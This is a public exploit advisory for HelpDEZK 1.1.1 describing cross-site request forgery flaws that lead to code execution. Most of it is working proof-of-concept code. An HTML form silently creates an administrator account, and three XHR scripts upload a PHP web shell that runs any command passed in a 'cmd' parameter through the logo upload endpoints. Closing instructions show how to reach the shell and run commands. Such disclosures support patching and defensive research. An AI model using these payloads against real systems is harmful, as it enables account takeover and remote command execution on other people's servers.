# Exploit Title: Multiple CSRF / Code Execution Vulnerability on HelpDEZK 1.1.1
# Date: 05-April-2017
# Exploit Author: @rungga_reksya, @yokoacc, @AdyWikradinata, @dickysofficial, @dvnrcy
# Vendor Homepage: http://www.helpdezk.org/
# Software Link: https://codeload.github.com/albandes/helpdezk/zip/v1.1.1
# Version: 1.1.1
# Tested on: Windows Server 2012 Datacenter Evaluation
# CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1 - CRITICAL)
I. Background:
HelpDEZk is a powerfull software that manages requests/incidents. It has all the needed requirements to an efficient workflow management of all processes involved in service execution. This control is done for internal demands and also for outsourced services. HelpDEZk can be used at any company's area, serving as an support to the shared service center concept, beyond the ability to log all the processes and maintain the request's history, it can pass it through many approval levels. HelpDEZk can put together advanced managing resources with an extremely easy use. Simple and intuitive screens make the day-by-day easier for your team, speeding up the procedures and saving up a lot of time. It is developped in objects oriented PHP language, with the MVC architecture and uses the templates system SMARTY. For the javascripts, JQUERY is used.
II. Description:
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
HelpDEZK have role for type person:
admin = 1
user = 2
operator = 3
costumer = 4
partner = 5
group = 6
III. Exploit:
—> The first CSRF Target is: “/admin/home#/person/”
(Admin - Records - People & Companies)
The guest (no have account) can make admin privilege with CSRF / Code Execution. This is script for make account admin:
<html>
<!-- CSRF PoC on insert menu people -->
<body>
<form action="http://192.168.228.186/helpdezk-1.1.1/admin/person/insertNatural" method="POST">
<input type="hidden" name="login" value="testing" />
<input type="hidden" name="logintype" value=“3” /> <!-- Type Login = 3 (HD) -->
<input type="hidden" name="password" value="testing" />
<input type="hidden" name="name" value="testing" />
<input type="hidden" name="email" value="testing@local.com" /> <!-- e.g: testing@local.com -->
<input type="hidden" name="company" value="60" />
<input type="hidden" name="department" value="1" />
<input type="hidden" name="phone" value="" />
<input type="hidden" name="branch" value="" />
<input type="hidden" name="mobile" value="" />
<input type="hidden" name="country" value="1" />
<input type="hidden" name="state" value="1" />
<input type="hidden" name="cpf" value="" />
<input type="hidden" name="city" value="1" />
<input type="hidden" name="neighborhood" value="Choose" />
<input type="hidden" name="zipcode" value="" />
<input type="hidden" name="typestreet" value="1" />
<input type="hidden" name="address" value="Choose" />
<input type="hidden" name="number" value="" />
<input type="hidden" name="complement" value="" />
<input type="hidden" name="typeuser" value="1" /> <!-- admin privilege -->
<input type="hidden" name="location" value="" />
<input type="hidden" name="vip" value="N" />
<input type="hidden" name="filladdress" value="N" />
<input type="hidden" name="dtbirth" value="" />
<input type="hidden" name="gender" value="M" />
<input type="hidden" name="time_value" value="" />
<input type="hidden" name="overtime" value="" />
<input type="hidden" name="changePassInsert" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
—> The second CSRF target is: /admin/home#/logos/
(Admin - Config - Logos)
If we have minimum low privilege, we can code execute to make shell on module logos (Position of Page Header, Login Page and Reports Logo). The HelpDEZK unrestricted file extension but normally access only for admin.
If you have low privilege, please choose which one to execute this code (before execute, you shall login into application):
<!-- CSRF PoC - Login Page Logo -->
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.228.186/helpdezk-1.1.1/admin/logos/upload2", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1883328331133778598415248998");
xhr.withCredentials = true;
var body = "-----------------------------1883328331133778598415248998\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"index.php\"\r\n" +
"Content-Type: text/php\r\n" +
"\r\n" +
"\x3c?php\n" +
"\n" +
"if(isset($_REQUEST[\'cmd\'])){\n" +
" echo \"\x3cpre\x3e\";\n" +
" $cmd = ($_REQUEST[\'cmd\']);\n" +
" system($cmd);\n" +
" echo \"\x3c/pre\x3e\";\n" +
" die;\n" +
"}\n" +
"\n" +
"?\x3e\r\n" +
"-----------------------------1883328331133778598415248998--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
————
<!-- CSRF PoC Page Header Logo -->
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.228.186/helpdezk-1.1.1/admin/logos/upload", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------11525671838941487412014811928");
xhr.withCredentials = true;
var body = "-----------------------------11525671838941487412014811928\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\n" +
"Content-Type: text/php\r\n" +
"\r\n" +
"\x3c?php\n" +
"\n" +
"if(isset($_REQUEST[\'cmd\'])){\n" +
" echo \"\x3cpre\x3e\";\n" +
" $cmd = ($_REQUEST[\'cmd\']);\n" +
" system($cmd);\n" +
" echo \"\x3c/pre\x3e\";\n" +
" die;\n" +
"}\n" +
"\n" +
"?\x3e\r\n" +
"-----------------------------11525671838941487412014811928--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
———————
<!-- CSRF PoC - Reports Logo -->
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.228.186/helpdezk-1.1.1/admin/logos/upload3", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1789373681642463979344317937");
xhr.withCredentials = true;
var body = "-----------------------------1789373681642463979344317937\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"index.php\"\r\n" +
"Content-Type: text/php\r\n" +
"\r\n" +
"\x3c?php\n" +
"\n" +
"if(isset($_REQUEST[\'cmd\'])){\n" +
" echo \"\x3cpre\x3e\";\n" +
" $cmd = ($_REQUEST[\'cmd\']);\n" +
" system($cmd);\n" +
" echo \"\x3c/pre\x3e\";\n" +
" die;\n" +
"}\n" +
"\n" +
"?\x3e\r\n" +
"-----------------------------1789373681642463979344317937--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
————
If you have executed and success, check your file on:
http://example.com/helpdezk-1.1.1/app/uploads/logos/
and PWN ^_^
http://example.com/helpdezk-1.1.1/app/uploads/logos/login_index.php?cmd=ipconfig
IV. Thanks to:
- Alloh SWT
- MyBoboboy
- Komunitas IT Auditor & IT Security
Refer:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003)
https://github.com/albandes/helpdezk/issues/2
Screenshoot:
 |
| 1 - Default Account |
 |
| 2 - Script Make Account Testing |
|
|
 |
| 3 - Execute Script to Make Account Testing |
 |
| 4 - Success for Make Account Testing |
 |
| 5 - Success to Login on Application |
 |
| 6 - Script to Make User Account |
 |
| 7 - Success to Login as User Privilege |
 |
| 8 - Account User don't Have Logos Menu |
 |
| 9 - Prepare Script to Make Shell on Logos Module |
 |
| 10 - Execute Script to Make Shell |
 |
| 11 - Directory Listing and Found Your Shell |
 |
| 12 - Success to Execute Your Shell |
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